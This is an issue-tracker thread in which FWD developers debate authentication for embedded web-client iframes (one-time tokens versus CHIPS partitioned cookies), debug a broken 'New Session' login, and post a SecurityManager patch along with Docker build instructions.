#598 Updated by Hynek Cihlar 5 months ago
Greg Shah wrote:
Why does an iframe for something like the HTML browser widget need to know about the top level origin? I can see that our main iframe that sits inside the welcome/login page may have some integration with the top level origin, but I don't understand why the more deeply nested iframes would be affected.
The requests coming from inside the browser widget iframe need some kind of authorization. Since it is different origin than top-level site (similar limitations apply here as for the web client iframe) there won't be a session cookie available.
#600 Updated by Constantin Asofiei 5 months ago
Roger - the directory.xml in Hotel GUI must not include the broker ACLs by default; any scripts/etc which add a broker must configure the directory.xml with all the required info (ACLs, account, etC).
#601 Updated by Constantin Asofiei 5 months ago
Greg Shah wrote:
Why do the documents loaded into those iframes require our session cookie?
Any request to i.e. download some static resources from FWD requires it to be authenticated (this includes images or clicking on a HTML link to download some document and even OPEN-MIME-RESOURCE which loads an URL in a separate tab with some document content). Current trunk uses a cookie to pass the token to FWD, and authenticate the request. As Sergey mentioned, we need to intercept all these requests to FWD client and attach to it the authentication info (via a header or something else).
#602 Updated by Hynek Cihlar 5 months ago
Greg Shah wrote:
Why do the documents loaded into those iframes require our session cookie?
Html browser widget may serve sensitive information.
#603 Updated by Hynek Cihlar 5 months ago
Constantin Asofiei wrote:
As Sergey mentioned, we need to intercept all these requests to FWD client and attach to it the authentication info (via a header or something else).
If we can intercept all the requests then it is definitely the best solution.
#604 Updated by Roger Borrello 5 months ago
Constantin Asofiei wrote:
Roger - the directory.xml in Hotel GUI must not include the broker ACLs by default; any scripts/etc which add a broker must configure the directory.xml with all the required info (ACLs, account, etC).
Thanks for that catch. I had already moved it to directory_broker.xml.template but missed removing it from the main template.
#605 Updated by Greg Shah 5 months ago
Hynek Cihlar wrote:
Greg Shah wrote:
Why do the documents loaded into those iframes require our session cookie?
Html browser widget may serve sensitive information.
Yes, but if the content comes from a truly 3rd party site (e.g. google.com) then there would be no requirement for this kind of auth token processing. In fact, doing that might be harmful because we would be sharing our auth token with an untrusted server.
What I understand from your comments is that this is about the subset of the requests that target the FWD server itself in some way.
#606 Updated by Hynek Cihlar 5 months ago
Greg Shah wrote:
Hynek Cihlar wrote:
Greg Shah wrote:
Why do the documents loaded into those iframes require our session cookie?
Html browser widget may serve sensitive information.
Yes, but if the content comes from a truly 3rd party site (e.g.
google.com) then there would be no requirement for this kind of auth token processing. In fact, doing that might be harmful because we would be sharing our auth token with an untrusted server.
Yes, sending auth tokens would be required and desired only for same origin.
What I understand from your comments is that this is about the subset of the requests that target the FWD server itself in some way.
This is also part of the problem.
#607 Updated by Constantin Asofiei 5 months ago
Roger - in what repository do we have dbash.sh ? Because now all ports are open, and you can have only one single container ran via dbash.sh.
#608 Updated by Roger Borrello 5 months ago
Constantin Asofiei wrote:
Roger - in what repository do we have dbash.sh ? Because now all ports are open, and you can have only one single container ran via
dbash.sh.
The latest dbash.sh is in 10727a in tools/docker and container in base_ubunut/repo.
You cannot run 2 concurrently if you allow them to open all the ports. You can run one opening all the ports, and the other without any:
dbash.sh --no-gui --no-debug --no-jmx
Or some combination of them.
#609 Updated by Constantin Asofiei 5 months ago
Roger Borrello wrote:
Constantin Asofiei wrote:
Roger - in what repository do we have dbash.sh ? Because now all ports are open, and you can have only one single container ran via
dbash.sh.The latest
dbash.shis in 10727a intools/dockerand container inbase_ubunut/repo.You cannot run 2 concurrently if you allow them to open all the ports. You can run one opening all the ports, and the other without any:
Thanks, I'll update the documentation at Development_Using_a_Docker_Container to mention that --no-gui --no-debug --no-jmx needs to be used for conversion/import/etc and only one docker container can be ran in this setup, on a machine.
#610 Updated by Sergey Ivanovskiy 5 months ago
- Status changed from Feedback to WIP
Can I use the following library https://github.com/jwtk/jjwt?#gradle?
#611 Updated by Sergey Ivanovskiy 5 months ago
Steps to reproduce :
- login Hotel Gui web client using the default SSO plugin
- on the virtual desktop open context menu and select New Session.
- New tab is opened with an empty url waiting to load the web client, finally the login page appears.
#612 Updated by Sergey Ivanovskiy 5 months ago
Updating #9709-611: it is a localhost setup without brokers that means that all web clients are spawned locally.
#613 Updated by Sergey Ivanovskiy 5 months ago
Debugging the issue but the spawn processes are failed without visible logs. The server logs just shows the several tries that correlated with the number of tries to start New Session.
26/02/20 19:49:31.534+0300 | INFO | com.goldencode.p2j.main.StandardServer | ThreadName:main | FWD v4.0.0_p2j_trunk_16435 Server starting initialization.
26/02/20 19:49:31.534+0300 | INFO | com.goldencode.p2j.main.StandardServer | ThreadName:main | ServerDriver: 4 arguments =
[
'server.xml',
'net:connection:secure=true',
'net:server:secure_port=3333',
'net:server:insecure_port=3433'
]
Product Version FWD v4.0.0_p2j_trunk_16435
JVM Version 17.0.18
...............................................................
26/02/20 19:49:36.309+0300 | INFO | com.goldencode.p2j.net.RouterSessionManager [SessionManager.listen()] | ThreadName:main, ThreadId:00000003, User:standard | Server ready
26/02/20 19:51:25.740+0300 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp1557075266-72 | not available host:port localhost/127.0.0.1:7449.
26/02/20 19:51:29.197+0300 | INFO | com.goldencode.p2j.main.WebDriverHandler | ThreadName:qtp1557075266-72 | Returns the redirect url https://localhost:7449/index.html?token=a0e691c2cf2391d32c1e444610ea3191 as response to GUI client.
26/02/20 19:51:31.880+0300 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000003:bogus], Session:00000003, ThreadId:00000005, User:bogus | Font [lato,8,false,false,false,false,0] has no legacy metrics.
26/02/20 19:51:31.880+0300 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000003:bogus], Session:00000003, ThreadId:00000005, User:bogus | Font [lato,8,false,false,false,false,0] has no legacy metrics.
26/02/20 19:51:31.881+0300 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000003:bogus], Session:00000003, ThreadId:00000005, User:bogus | Font [liberation mono,8,false,false,false,false,0] has no legacy metrics.
26/02/20 19:51:31.881+0300 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000003:bogus], Session:00000003, ThreadId:00000005, User:bogus | Font [open sans,12,false,false,false,false,0] has no legacy metrics.
26/02/20 19:51:31.881+0300 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000003:bogus], Session:00000003, ThreadId:00000005, User:bogus | Font [liberation mono,9,false,false,false,false,0] has no legacy metrics.
26/02/20 19:51:31.881+0300 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000003:bogus], Session:00000003, ThreadId:00000005, User:bogus | Font [lato,9,false,false,false,false,0] has no legacy metrics.
26/02/20 19:51:31.881+0300 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000003:bogus], Session:00000003, ThreadId:00000005, User:bogus | Font [open sans,9,false,false,false,false,0] has no legacy metrics.
26/02/20 19:51:31.881+0300 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000003:bogus], Session:00000003, ThreadId:00000005, User:bogus | Font [open sans,8,false,false,false,false,0] has no legacy metrics.
26/02/20 19:51:31.881+0300 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000003:bogus], Session:00000003, ThreadId:00000005, User:bogus | Font [open sans,10,true,false,false,false,0] has no legacy metrics.
26/02/20 19:51:31.881+0300 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000003:bogus], Session:00000003, ThreadId:00000005, User:bogus | Font [open sans,10,false,false,false,false,0] has no legacy metrics.
26/02/20 19:51:31.881+0300 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000003:bogus], Session:00000003, ThreadId:00000005, User:bogus | Font [open sans,11,false,false,false,false,0] has no legacy metrics.
26/02/20 19:51:48.719+0300 | INFO | com.goldencode.p2j.persist.DatabaseManager | ThreadName:Conversation [00000003:bogus], Session:00000003, ThreadId:00000005, User:bogus/storage-hotel | Connecting to [hotel]
26/02/20 19:51:54.268+0300 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp1557075266-84 | not available host:port localhost/127.0.0.1:7450.
26/02/20 19:58:42.256+0300 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp1557075266-82 | not available host:port localhost/127.0.0.1:7451.
26/02/20 20:10:46.535+0300 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp1557075266-85 | not available host:port localhost/127.0.0.1:7452.
#614 Updated by Constantin Asofiei 5 months ago
Sergey Ivanovskiy wrote:
Can I use the following library https://github.com/jwtk/jjwt?#gradle?
Greg mentioned in #10809-117 that is OK.
#615 Updated by Sergey Ivanovskiy 5 months ago
Thank you, I will use this library but I would like to make some adjustment to plans. I know that the customer would like to see this part working. So there are two options: using external web reverse proxy or using CHIPS (Cookies Having Independent Partitioned State) 9709d, but this work 9709b related to different and more generic way using JWT if it were ready at the end of the week, but would not be well tested. Using CHIPS cannot change the core functionalities and design but can help to deliver FWD at time. It is safe to known attacks. Any case I will try to finish 9709b at the end of February.
#616 Updated by Sergey Ivanovskiy 5 months ago
Sergey Ivanovskiy wrote:
I should report new issue with the trunk rev 16435 related to New Session functionality.
Steps to reproduce :
- login Hotel Gui web client using the default SSO plugin
- on the virtual desktop open context menu and select New Session.
- New tab is opened with an empty url waiting to load the web client, finally the login page appears.
I missed the spawner logs that
26/02/20 22:01:18.472+0300 | FINER | com.goldencode.p2j.net.SessionManager [SessionManager.createQueue()] | PID:140969, ThreadName:main | host = localhost; port = 3333; secure = true;
26/02/20 22:01:18.694+0300 | FINEST | com.goldencode.p2j.net.NetSocket | PID:140969, ThreadName:main | main: Creating NetSocketWrapper: /127.0.0.1:33939 -> localhost/127.0.0.1:3333
26/02/20 22:01:18.695+0300 | FINER | com.goldencode.p2j.security.SecurityManager | PID:140969, ThreadName:main | secure = true
26/02/20 22:01:18.695+0300 | FINER | com.goldencode.p2j.security.SecurityManager | PID:140969, ThreadName:main | sentCert = true
26/02/20 22:01:18.695+0300 | FINEST | com.goldencode.p2j.net.NetSocket | PID:140969, ThreadName:main | main: writeInt(3)
26/02/20 22:01:18.696+0300 | FINEST | com.goldencode.p2j.net.NetSocket | PID:140969, ThreadName:main | main: writeUTF('ee5ced6f-7467-4ec5-9b28-27d91d712163,bogus/storage-hotel')
26/02/20 22:01:18.696+0300 | FINEST | com.goldencode.p2j.net.NetSocket | PID:140969, ThreadName:main | main: flush
26/02/20 22:01:18.696+0300 | FINEST | com.goldencode.p2j.net.NetSocket | PID:140969, ThreadName:main | main: readInt(): 2
26/02/20 22:01:18.772+0300 | SEVERE | com.goldencode.p2j.main.CommonDriver | PID:140969, ThreadName:main | System exits with code -13 caused by:
java.lang.Exception: Authentication failed
at com.goldencode.p2j.net.SessionManager.createQueue(SessionManager.java:1194)
at com.goldencode.p2j.net.LeafSessionManager.connectDirect(LeafSessionManager.java:256)
at com.goldencode.p2j.net.SessionManager.connectDirect(SessionManager.java:710)
at com.goldencode.p2j.main.ClientCore.processTemporaryClient(ClientCore.java:891)
at com.goldencode.p2j.main.ClientCore.start(ClientCore.java:531)
at com.goldencode.p2j.main.ClientDriver.start(ClientDriver.java:289)
at com.goldencode.p2j.main.CommonDriver.process(CommonDriver.java:522)
at com.goldencode.p2j.main.ClientDriver.process(ClientDriver.java:173)
at com.goldencode.p2j.main.ClientDriver.main(ClientDriver.java:347)
#617 Updated by Sergey Ivanovskiy 5 months ago
I found at least a copy/paste in fine logs:
if (isFinerLoggable)
{
LOG.finer("secure = " + secure);
}
// certificate processing
SSLSession locSess = socket.getSession();
if (locSess == null && secure)
{
if (isFinerLoggable)
{
LOG.finer("Secure mode requires a certificate sent, which is missing.");
}
socket.close();
return null;
}
// query local certificate
java.security.cert.Certificate[] locCerts = null;
if (secure)
{
locCerts = locSess.getLocalCertificates();
}
boolean sentCert = (locCerts != null && locCerts.length > 0);
if (isFinerLoggable)
{
LOG.finer("sentCert = " + secure);
}
The code should be
LOG.finer("sentCert = " + sentCert);#618 Updated by Sergey Ivanovskiy 5 months ago
It looks that bogus/storage-hotel that comes from
String userName = config.getString(ConfigItem.SSO_SUBJECT_ID, null);
is not correct and must be
bogus. The root cause was this code in SecurityManager
/**
* Returns the subject ID associated with the current context.
* <p>
* The subject ID returned is either userID, or processId, if no user is
* logged on.
*
* @return subject ID or "" if nothing is established
*/
public String getUserId()
{
// Pick up the generation of security cache
SecurityContextStack ctxs = SecurityContextStack.getContext();
SecurityContext ctx = ctxs.getEffectiveContext();
SecurityCache sc = ctx.getCache();
// figure out subject ordinal
int userOrd = ctx.getUserOrdinal();
if (userOrd == -1)
{
userOrd = ctx.getProcessOrdinal();
}
if (userOrd == -1)
{
return "";
}
// return the subject's identity
Account account = sc.getAccountByOrd(userOrd);
if (account.getAccountType() == Account.ACC_PROCESS)
{
return account.getSubjectId();
}
else
{
StringBuilder sb = new StringBuilder(account.getSubjectId());
String storageId = SessionUtils.getStorageId();
if (storageId != null)
{
sb.append("/").append(storageId);
}
return sb.toString();
}
}
but this method private Object authenticateLocalSso(NetSocket socket, SecurityCache sc) was not adjusted and there were no comments on SecurityManager.getUserId().
#619 Updated by Sergey Ivanovskiy 5 months ago
I do not know why this storageId was added to FWD user but finally I need to apply this something patch
=== modified file 'src/com/goldencode/p2j/security/SecurityManager.java'
--- old/src/com/goldencode/p2j/security/SecurityManager.java 2025-07-12 12:50:06 +0000
+++ new/src/com/goldencode/p2j/security/SecurityManager.java 2026-02-21 11:53:37 +0000
@@ -1354,7 +1354,7 @@
if (isFinerLoggable)
{
- LOG.finer("sentCert = " + secure);
+ LOG.finer("sentCert = " + sentCert);
}
// validate the server's certificate if requested
@@ -7798,11 +7798,21 @@
{
String clientUuid;
String requestedUserName;
+ String userNameStorageId;
try
{
String[] ssoDetails = socket.readUTF().split(",");
clientUuid = ssoDetails[0];
- requestedUserName = ssoDetails[1];
+ userNameStorageId = ssoDetails[1];
+ int storageIdIndex = ssoDetails[1].indexOf("/");
+ if (storageIdIndex > 0)
+ {
+ requestedUserName = ssoDetails[1].substring(0, storageIdIndex);
+ }
+ else
+ {
+ requestedUserName = ssoDetails[1];
+ }
}
catch (Exception e)
{
@@ -7827,12 +7837,12 @@
{
// it matches the client uuid
String fwdUser = WebDriverHandler.CLIENT_UUID_FWD_USERS.getOrDefault(clientUuid, null);
- if (requestedUserName.equals(fwdUser))
+ if (userNameStorageId.equals(fwdUser))
{
try
{
// valid client uuid : fwd user received from client
- ssoContext = ssoSm.assignContext(socket, fwdUser);
+ ssoContext = ssoSm.assignContext(socket, requestedUserName);
socket.writeInt(AUTH_RESULT_SUCCESS);
socket.flush();
}
#620 Updated by Constantin Asofiei 5 months ago
Sergey, this change is part of these logs:
revno: 15947 [merge] committer: Andrei Iacob <ai@goldencode.com> branch nick: trunk timestamp: Wed 2025-05-28 17:34:04 +0300 message: Added dynamic filtering as a new enhance browse configuration and various improvements to EnhancedBrowse. (ref: 7733) ------------------------------------------------------------ Use --include-merged or -n0 to see merged revisions. ------------------------------------------------------------ revno: 15946.1.5 committer: Andrei Iacob <ai@goldencode.com> branch nick: 7733b timestamp: Wed 2025-02-26 15:34:56 +0200 message: Adjusted SecurityManager.getUserId() to use SSO storageId if available and moved user configs outside of general configs into ContextLocal map. (ref: 7733)
Please check #7733 and ask Stanislav if he knows why it was needed. If is only needed by EnhancedBrowseConfigManager, then we need a different API which gets the userID/storageID pair.
#621 Updated by Sergey Ivanovskiy 5 months ago
#622 Updated by Stanislav Lomany 5 months ago
I do not know why this
storageIdwas added to FWD user but finally I need to apply this something patch
Galya did some security-related changes back then, so I'm not 100% sure how this works. But the story is that I need an ID that would allow me to differentiate between different logged-in users in order to save enhanced browse user configuration / browse filtering settings per user. I cannot use standard FWD user because it is the same for all logged-in users (bogus). And storage ID comes from the SsoAuthenticator response for the login request and provides an unique ID.
#623 Updated by Sergey Ivanovskiy 5 months ago
Stanislav, could we rename and split this logic SecurityManager.getUserId() into SecurityManager.getUserAndStorageIdsPair() and SecurityManager.getUserId(). Is my view correct that SecurityManager.getUserId() is used by EnhancedBrowseConfigManager?
#624 Updated by Sergey Ivanovskiy 5 months ago
- Related to Bug #11252: New Session functionality is broken for the virtual desktop mode added
#625 Updated by Sergey Ivanovskiy 5 months ago
I see that the similar context switch is implemented by LegacyWebSecurityManager. I can use AssociatedThread to setup the security context at the StandardServer.setup at the moment the web client invokes main entry method but this idea leads new daemon threads assigned to each web client. It should waste the thread resources on the server. I would prefer to have one thread that can switch security context depending on the processed request. Do we have such API? At this moment I follow SpreadSheetWebApp to implement the security context aware thread.
#626 Updated by Greg Shah 5 months ago
We aren't going to have an additional thread for each session. That doesn't scale.
I don't understand what processing is being offloaded onto a new thread. Please explain what you need to do. How did we get from the idea in #9709-623 to some new thread with its own security context?
#627 Updated by Sergey Ivanovskiy 5 months ago
Greg Shah wrote:
We aren't going to have an additional thread for each session. That doesn't scale.
To get an access to web client API we need the security context. The same as it was done for SpreadSheetWebApp.
That means that spread sheet widget does not scale too.
I don't understand what processing is being offloaded onto a new thread. Please explain what you need to do. How did we get from the idea in #9709-623 to some new thread with its own security context?
#628 Updated by Hynek Cihlar 5 months ago
Sergey Ivanovskiy wrote:
Greg Shah wrote:
We aren't going to have an additional thread for each session. That doesn't scale.
To get an access to web client API we need the security context. The same as it was done for SpreadSheetWebApp.
That means that spread sheet widget does not scale too.
That is correct and SpreadSheetWebApp needs to be improved there. OTOH we typically don't have many running spreadsheet widget instances, so the issue is not that urgent.
#629 Updated by Greg Shah 5 months ago
Sergey Ivanovskiy wrote:
Greg Shah wrote:
We aren't going to have an additional thread for each session. That doesn't scale.
To get an access to web client API we need the security context. The same as it was done for SpreadSheetWebApp.
That means that spread sheet widget does not scale too.I don't understand what processing is being offloaded onto a new thread. Please explain what you need to do. How did we get from the idea in #9709-623 to some new thread with its own security context?
That task doesn't explain anything about using additional threads. Please explain the ideas.
#630 Updated by Sergey Ivanovskiy 5 months ago
Greg, agree with you that I did not express the idea clearly. I am working on 9709b and 9709d completely different ways to support remote broker clients without using the reverse proxy server.
The branch 9709b must use authentication tokens instead of http secure cookies to authenticate requests from the web client. The parent web site gets a request for the authentication token from the web client browser part, the web site can authenticate this request because it starts the web client for this browser client. Then the FWD server or web client should generate new authentication token and delivers this token back to the web client browser. Thus the FWD server must call the web client to get new token (or assign new token) for the web client so the next resource request to reconnect to the web socket will be authenticated by the web client. We have AssociatedThread that is aware of SecurityContext of the target web client session, so this thread can handle a remote procedure call to the web client API. The same idea is used constantly by legacy web services and web spread sheet application.
The branch 9709d uses cross-site secure cookies with partition attribute CHIPS (Cookies Having Independent Partitioned State). 9709d covers the existing customer deployment cases of FWD converted applications but has the following restriction that relates to the FWD web site hosted the login page and injected web client such that the FWD web site cannot be injected into the other top site. This restriction cannot be an issue for the current deployments.
I would select at this moment 9709d way because it does not change the current FWD web client architecture but still provides the required security for the web application.
#631 Updated by Greg Shah 5 months ago
The branch
9709bmust use authentication tokens instead of http secure cookies to authenticate requests from the web client. The parent web site gets a request for the authentication token from the web client browser part, the web site can authenticate this request because it starts the web client for this browser client. Then the FWD server or web client should generate new authentication token and delivers this token back to the web client browser. Thus the FWD server must call the web client to get new token (or assign new token) for the web client so the next resource request to reconnect to the web socket will be authenticated by the web client. We haveAssociatedThreadthat is aware ofSecurityContextof the target web client session, so this thread can handle a remote procedure call to the web client API. The same idea is used constantly by legacy web services and web spread sheet application.
My worry here is that this is very over-complicated and has serious resource implications. I prefer to avoid this approach if possible. A couple of questions to ensure I understand properly:
- This extra overhead of token processing would only be used for requests for static web resources that are to the parent (FWD server) web server, correct?
- Why do we need to have a downcall to the web client? Why can't we:
- Generate a unique token on the web client which will be sent with the request.
- The web client up-calls to the FWD client which up-calls to the FWD server to register the generated token that will be sent with the request. Only valid sessions can do this so any tokens in this "registry" (which can be a static synchronized set) must be valid requests.
- The web request is made including the pre-registered token.
- The FWD server recieves a quest for a protected resource, looks up the token in the registry, if it is there it is removed and the resource is returned. If the token is not there, the request is rejected. Thus the token is a kind of one-time use authentication that is based on the fact that we have an existing authenticated session with the server.
Based on this, I don't undetrstand why we would implement extra threads and other complexity.
The branch
9709duses cross-site secure cookies with partition attribute CHIPS (Cookies Having Independent Partitioned State).9709dcovers the existing customer deployment cases of FWD converted applications but has the following restriction that relates to the FWD web site hosted the login page and injected web client such that the FWD web site cannot be injected into the other top site. This restriction cannot be an issue for the current deployments.
Does this restriction mean that embedded mode cannot work?
#632 Updated by Sergey Ivanovskiy 5 months ago
My worry here is that this is very over-complicated and has serious resource implications. I prefer to avoid this approach if possible. A couple of questions to ensure I understand properly:
- This extra overhead of token processing would only be used for requests for static web resources that are to the parent (FWD server) web server, correct?
No, this is the web client resources that is the web socket url.
- Why do we need to have a downcall to the web client?
The web client should authenticate the web browse client request.
The branch
9709duses cross-site secure cookies with partition attribute CHIPS (Cookies Having Independent Partitioned State).9709dcovers the existing customer deployment cases of FWD converted applications but has the following restriction that relates to the FWD web site hosted the login page and injected web client such that the FWD web site cannot be injected into the other top site. This restriction cannot be an issue for the current deployments.Does this restriction mean that embedded mode cannot work?
No, the embedded portal works the same way as the virtual desktop portal.
#633 Updated by Greg Shah 5 months ago
Sergey Ivanovskiy wrote:
My worry here is that this is very over-complicated and has serious resource implications. I prefer to avoid this approach if possible. A couple of questions to ensure I understand properly:
- This extra overhead of token processing would only be used for requests for static web resources that are to the parent (FWD server) web server, correct?
No, this is the web client resources that is the web socket url.
The web socket connects to the FWD client Jetty. That only happens after we are redirected and in HTTPS session with the FWD client Jetty. I don't understand why we would need a websocket to the FWD server for our normal web client.
Are you saying this processing is needed in order to establish the initial connection between the browser and the FWD client?
I had previously gotten the impression (from note #9709-411 and following notes) that this issue was caused by static web resource access from web browser to the FWD server.
The branch
9709duses cross-site secure cookies with partition attribute CHIPS (Cookies Having Independent Partitioned State).9709dcovers the existing customer deployment cases of FWD converted applications but has the following restriction that relates to the FWD web site hosted the login page and injected web client such that the FWD web site cannot be injected into the other top site. This restriction cannot be an issue for the current deployments.Does this restriction mean that embedded mode cannot work?
No, the embedded portal works the same way as the virtual desktop portal. I think the first way is also needed to save authentication session id in the secure cookie because the parent portal does not support long http session but the web client supports long http session due to the web socket connection.
If we can support all of our existing virtual desktop cases AND any embedded mode use case, then this would be a perfectly good solution.
But now you are saying that CHIPs won't work. Is that correct?
Are you saying that
#634 Updated by Sergey Ivanovskiy 5 months ago
I would like to express the opposite opinion that CHIPs should fit the current design.
#635 Updated by Sergey Ivanovskiy 5 months ago
Greg, I am sorry for confusions here but we should discuss all these parts from the beginning because I would propose to use 9709d as an idea for changes and this part that Hynek had proposed to do later and first discuss the design selection so everybody agrees with the proposed design. Do you agree?
#636 Updated by Greg Shah 5 months ago
Sergey Ivanovskiy wrote:
Greg, I am sorry for confusions here but we should discuss all these parts from the beginning because I would propose to use 9709d as an idea for changes and this part that Hynek had proposed to do later and first discuss the design selection so everybody agrees with the proposed design. Do you agree?
Yes. I agree that CHIPs is the better approach. We can move ahead with that.
However, I still need to understand the exact purpose of these changes. My questions are still important to answer:
The web socket connects to the FWD client Jetty. That only happens after we are redirected and in HTTPS session with the FWD client Jetty. I don't understand why we would need a websocket to the FWD server for our normal web client.
Are you saying this processing is needed in order to establish the initial connection between the browser and the FWD client?
I had previously gotten the impression (from note #9709-411 and following notes) that this issue was caused by static web resource access from web browser to the FWD server.
#637 Updated by Sergey Ivanovskiy 5 months ago
After discussion with Hynek we agreed that we need to refresh the token used for the initial web socket connection. This leads to this design. The dynamic HTML pages are resources that also passed through the web client. We concluded to use virtual directories names that are difficult to guess as the authorization keys.
#638 Updated by Greg Shah 5 months ago
Sergey Ivanovskiy wrote:
After discussion with Hynek we agreed that we need to refresh the token used for the initial web socket connection. This leads to this design. The dynamic HTML pages are resources that also passed through the web client. We concluded to use virtual directories names that are difficult to guess as the authorization keys.
It is not clear to me when this happens and how often it happens.
#639 Updated by Sergey Ivanovskiy 5 months ago
The token can have an expiration date or can be one time token so each new request needs to get new one. My initial proposal for 9709b was to use the symmetric cryptography and to store the private key during the session time and to get the pre-allocated requests in advance for the web browser client so if the network connection is failed the browser web client was able to reconnect to the web client. In this case we do not need the FWD server.
#640 Updated by Sergey Ivanovskiy 5 months ago
At this moment I have this very raw version of 9709b (rev 16474) with one time tokens but the scenario in which the web socket url is refreshed with new token is not implemented yet.
9709d (rev 16435) for internal tests, the code is without history entries.
#641 Updated by Greg Shah 5 months ago
Sergey Ivanovskiy wrote:
The token can have an expiration date or can be one time token so each new request needs to get new one. My initial proposal for 9709b was to use the symmetric cryptography and to store the private key during the session time and to get the pre-allocated requests in advance for the web browser client so if the network connection is failed the browser web client was able to reconnect to the web client. In this case we do not need the FWD server.
When I ask "It is not clear to me when this happens and how often it happens.", what I mean is this:
- How does this relate to the web socket?
- Is this involved in the pre-spawning login process or is it involved at other times? If other times, what specific times?
- In which specific requests does this get activated? Does it affect requests from the browser to the FWD server? Which requests? Under what conditions are those requests sent?
The previous discussions don't help me answer these questions. I'm happy we have a better solution in 9709d but I want us to have documented the proposal in 9709b because if it comes up again for some reason, I want to be able to evaluate the impact.
I'm especially worried that we would be doing a lot of extra processing for every request for all time, killing the web client's current performance profile.
#642 Updated by Sergey Ivanovskiy 5 months ago
The jscript web client is loaded by the java web client, first resources and then jscript code is running.
The jscript web client gets 'wss://' + window.location.host + '${webRoot}/ajax?${once}', where once is the one-time token, this token is injected into the jscript web client. Consider the case when the network is down and up, the web socket needs to be reconnected but the current token is not valid. The jscript web client sends MSG_REFRESH_WEB_TOKEN to its top window that gets this message and asks the FWD server to get new token. on response the top window posts the message back to the jscript web client and it updates this url with new token'wss://' + window.location.host + '${webRoot}/ajax?${once}'. The token is requested one time per each request.
#643 Updated by Sergey Ivanovskiy 5 months ago
Hynek proposed #9709-586 tokens that expired after the specified time. Please review the proposals. The current web client resource management does not follow this design if I got it correctly.
#644 Updated by Sergey Ivanovskiy 5 months ago
My proposals for 9709b were to use the symmetric cryptography to store the private key per session and to preallocate requests for resources in advance. The cryptography is used only to make it impossible to guess preallocated tokens that are built with help of this private key. So knowing the token content without the private secret key does not help to guess the generated token. That was considered insecure if we supposed that the browser is compromised so somebody could read the secret key.
#645 Updated by Roger Borrello 5 months ago
Sergey, is there any chance you could rebase 9709d to the latest trunk?
#646 Updated by Sergey Ivanovskiy 5 months ago
Yes, doing it right now.
#647 Updated by Roger Borrello 5 months ago
Sergey Ivanovskiy wrote:
Yes, doing it right now.
Thank you. I also placed the branch in /opt/fwd/9709d for customers to use.
#648 Updated by Sergey Ivanovskiy 5 months ago
I updated rev 16449 (9709d) but I do not know how to setup spawner. I used to run
ant jar native -Dpost.build=yes -Dspawn.install.folder=/home/sbi/opt/hotel_gui -Dsrv.certs=/home/sbi/projects/hotel_gui/deploy/server/srv-certs.store
Is there command to run with the same result?
#649 Updated by Greg Shah 5 months ago
As I said, I don't want to implement the 9709b approach. I'm just trying to get it documented and to understand it.
In your post from #9709-642, it seems this feature is only related to login or re-login. Is that correct? This feature is not present or active other than for this login/welcome screen case?
#650 Updated by Sergey Ivanovskiy 5 months ago
Greg Shah wrote:
As I said, I don't want to implement the 9709b approach. I'm just trying to get it documented and to understand it.
In your post from #9709-642, it seems this feature is only related to login or re-login. Is that correct? This feature is not present or active other than for this login/welcome screen case?
Yes, because in this implementation tokens are used only one time per a request.
#651 Updated by Sergey Ivanovskiy 5 months ago
Sergey Ivanovskiy wrote:
I updated rev 16449 (9709d) but I do not know how to setup spawner. I used to run
[...]
Is there command to run with the same result?
Now it should be
./gradlew nativeCompile -Ppost.build=yes -Pspawn.install.folder=/home/sbi/opt/hotel_gui -Psrv.certs=/home/sbi/projects/hotel_gui/deploy/server/srv-certs.store
Roger, is spawner install script updated accordingly?
#652 Updated by Roger Borrello 5 months ago
Sergey Ivanovskiy wrote:
Roger, is spawner install script updated accordingly?
The bash install_spawner.sh calls the postbuild.sh directly, with appropriate parameters. Last I checked, install_spawner.ps1 (called from install_spawner.cmd) didn't need to change.
#653 Updated by Roger Borrello 5 months ago
Sergey, I am going to check in some tools in the ./tools/docker directory of 9709d. I was writing up instructions for the customer, and noticed that there is a problem in the docker_build.sh I need to address. Is that OK?
#654 Updated by Sergey Ivanovskiy 5 months ago
Roger Borrello wrote:
Sergey, I am going to check in some tools in the
./tools/dockerdirectory of 9709d. I was writing up instructions for the customer, and noticed that there is a problem in thedocker_build.shI need to address. Is that OK?
Roger, thank you. I would like to test Hotel_Gui with docker containers too. Could you point on the actual documentation about instructions to start container with two broker clients?
#655 Updated by Sergey Ivanovskiy 5 months ago
Roger, can I use tools/docker scripts if I am using Ubuntu 22.04 host? Where can I find docs for Hotel_Gui docker setup?
#656 Updated by Sergey Ivanovskiy 5 months ago
Should I use #9709-362?
#657 Updated by Roger Borrello 5 months ago
Sergey Ivanovskiy wrote:
Roger, can I use
tools/dockerscripts if I am using Ubuntu 22.04 host? Where can I find docs for Hotel_Gui docker setup?
No, you should use that directory to create the 24.04 images. BTW, I did push 9709d_16450 / 9709d_latest to the goldencode Docker Hub. If you don't want to build the Docker image yourself, you can pull it from there.
Should I use #9709-362?
Yes, but you should build the images using 9709d_latest. Below is a replacement command:
./docker/build_docker.sh -i fwd_4.0_ubuntu_24.04 -t 9709d_latest --compose --use_cache --no_prune --db_type=postgres -ld
If you build the 9709d_latest image yourself, the
-r . will use that image, instead of pulling from goldencode hub../docker/build_docker.sh -r . -i fwd_4.0_ubuntu_24.04 -t 9709d_latest --compose --use_cache --no_prune --db_type=postgres -ld
#658 Updated by Sergey Ivanovskiy 5 months ago
So, I need to migrate from Ubuntu 22.04 -> 24.04.
#659 Updated by Sergey Ivanovskiy 5 months ago
- Status changed from WIP to Review
- % Done changed from 90 to 100
9709d is ready for the review rev 16452.
#660 Updated by Sergey Ivanovskiy 5 months ago
Sergey Ivanovskiy wrote:
